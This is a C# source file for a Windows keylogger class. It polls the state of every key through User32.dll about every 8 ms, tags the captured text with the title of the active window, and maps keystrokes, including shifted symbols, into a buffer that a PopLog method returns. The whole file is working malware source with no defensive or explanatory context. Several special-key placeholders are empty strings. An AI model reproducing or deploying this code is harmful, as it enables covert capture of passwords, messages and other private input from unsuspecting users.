using System; using System.Threading; using System.IO; using System.Text; using System.Windows.Forms; using System.Runtime.InteropServices; namespace Logger { public class Keylogger { [DllImport("User32.dll")] private static extern short GetAsyncKeyState(Keys vKey); [DllImport("User32.dll")] private static extern short GetAsyncKeyState(int vKey); [DllImport("User32.dll")] public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount); [DllImport("User32.dll")] public static extern int GetForegroundWindow(); private StringBuilder buffer; private string hWndTitle; private string hWndTitlePast; private bool tglAlt = false; private bool tglControl = false; private bool tglCapslock = false; public Keylogger() { buffer = new StringBuilder(10000); new Thread(new ThreadStart(logKey)).Start(); } public static string ActiveApplTitle() { int hwnd = GetForegroundWindow(); StringBuilder sbTitle = new StringBuilder(1024); int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity); if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown"; return sbTitle.ToString(); } private void logKey() { while (true) { string keyBuffer = string.Empty; hWndTitle = ActiveApplTitle(); if (hWndTitle != hWndTitlePast || hWndTitlePast == null) { keyBuffer += "\n\n[" + hWndTitle + "]\n"; hWndTitlePast = hWndTitle; } foreach (int i in Enum.GetValues(typeof(Keys))) { if (GetAsyncKeyState(i) == -32767) { if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000)) { if (!tglControl) { tglControl = true; keyBuffer += ""; } } else { if (tglControl) { tglControl = false; keyBuffer += ""; } } if (Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000)) { if (!tglAlt) { tglAlt = true; keyBuffer += ""; } } else { if (tglAlt) { tglAlt = false; keyBuffer += ""; } } if (Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000)) { if (!tglCapslock) { tglCapslock = true; keyBuffer += ""; } } else { if (tglCapslock) { tglCapslock = false; keyBuffer += ""; } } if (Enum.GetName(typeof(Keys), i) == "LButton") keyBuffer += ""; else if (Enum.GetName(typeof(Keys), i) == "RButton") keyBuffer += ""; else if (Enum.GetName(typeof(Keys), i) == "Back") keyBuffer += ""; else if (Enum.GetName(typeof(Keys), i) == "Space") keyBuffer += " "; else if (Enum.GetName(typeof(Keys), i) == "Return") keyBuffer += ""; else if (Enum.GetName(typeof(Keys), i) == "ControlKey") continue; else if (Enum.GetName(typeof(Keys), i) == "LControlKey") continue; else if (Enum.GetName(typeof(Keys), i) == "RControlKey") continue; else if (Enum.GetName(typeof(Keys), i) == "LControlKey") continue; else if (Enum.GetName(typeof(Keys), i) == "ShiftKey") continue; else if (Enum.GetName(typeof(Keys), i) == "LShiftKey") continue; else if (Enum.GetName(typeof(Keys), i) == "RShiftKey") continue; else if (Enum.GetName(typeof(Keys), i) == "Delete") keyBuffer += ""; else if (Enum.GetName(typeof(Keys), i) == "Insert") keyBuffer += ""; else if (Enum.GetName(typeof(Keys), i) == "Home") keyBuffer += ""; else if (Enum.GetName(typeof(Keys), i) == "End") keyBuffer += ""; else if (Enum.GetName(typeof(Keys), i) == "Tab") keyBuffer += ""; else if (Enum.GetName(typeof(Keys), i) == "Prior") keyBuffer += ""; else if (Enum.GetName(typeof(Keys), i) == "PageDown") keyBuffer += ""; else if (Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin") keyBuffer += ""; if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000)) { if (i >= 65 && i <= 122) { keyBuffer += (char)i; } else if (i.ToString() == "49") keyBuffer += "!"; else if (i.ToString() == "50") keyBuffer += "@"; else if (i.ToString() == "51") keyBuffer += "#"; else if (i.ToString() == "52") keyBuffer += "$"; else if (i.ToString() == "53") keyBuffer += "%"; else if (i.ToString() == "54") keyBuffer += "^"; else if (i.ToString() == "55") keyBuffer += "&"; else if (i.ToString() == "56") keyBuffer += "*"; else if (i.ToString() == "57") keyBuffer += "("; else if (i.ToString() == "48") keyBuffer += ")"; else if (i.ToString() == "192") keyBuffer += "~"; else if (i.ToString() == "189") keyBuffer += "_"; else if (i.ToString() == "187") keyBuffer += "+"; else if (i.ToString() == "219") keyBuffer += "{"; else if (i.ToString() == "221") keyBuffer += "}"; else if (i.ToString() == "220") keyBuffer += "|"; else if (i.ToString() == "186") keyBuffer += ":"; else if (i.ToString() == "222") keyBuffer += "\""; else if (i.ToString() == "188") keyBuffer += "<"; else if (i.ToString() == "190") keyBuffer += ">"; else if (i.ToString() == "191") keyBuffer += "?"; } else { if (i >= 65 && i <= 122) { keyBuffer += (char)(i + 32); } else if (i.ToString() == "49") keyBuffer += "1"; else if (i.ToString() == "50") keyBuffer += "2"; else if (i.ToString() == "51") keyBuffer += "3"; else if (i.ToString() == "52") keyBuffer += "4"; else if (i.ToString() == "53") keyBuffer += "5"; else if (i.ToString() == "54") keyBuffer += "6"; else if (i.ToString() == "55") keyBuffer += "7"; else if (i.ToString() == "56") keyBuffer += "8"; else if (i.ToString() == "57") keyBuffer += "9"; else if (i.ToString() == "48") keyBuffer += "0"; else if (i.ToString() == "189") keyBuffer += "-"; else if (i.ToString() == "187") keyBuffer += "="; else if (i.ToString() == "92") keyBuffer += "`"; else if (i.ToString() == "219") keyBuffer += "["; else if (i.ToString() == "221") keyBuffer += "]"; else if (i.ToString() == "220") keyBuffer += "\\"; else if (i.ToString() == "186") keyBuffer += ";"; else if (i.ToString() == "222") keyBuffer += "'"; else if (i.ToString() == "188") keyBuffer += ","; else if (i.ToString() == "190") keyBuffer += "."; else if (i.ToString() == "191") keyBuffer += "/"; } } } lock (buffer) { buffer.Append(keyBuffer); } Thread.Sleep(8); } } public string PopLog() { string log; lock (buffer) { log = buffer.ToString(); buffer = new StringBuilder(10000); } return log; } } }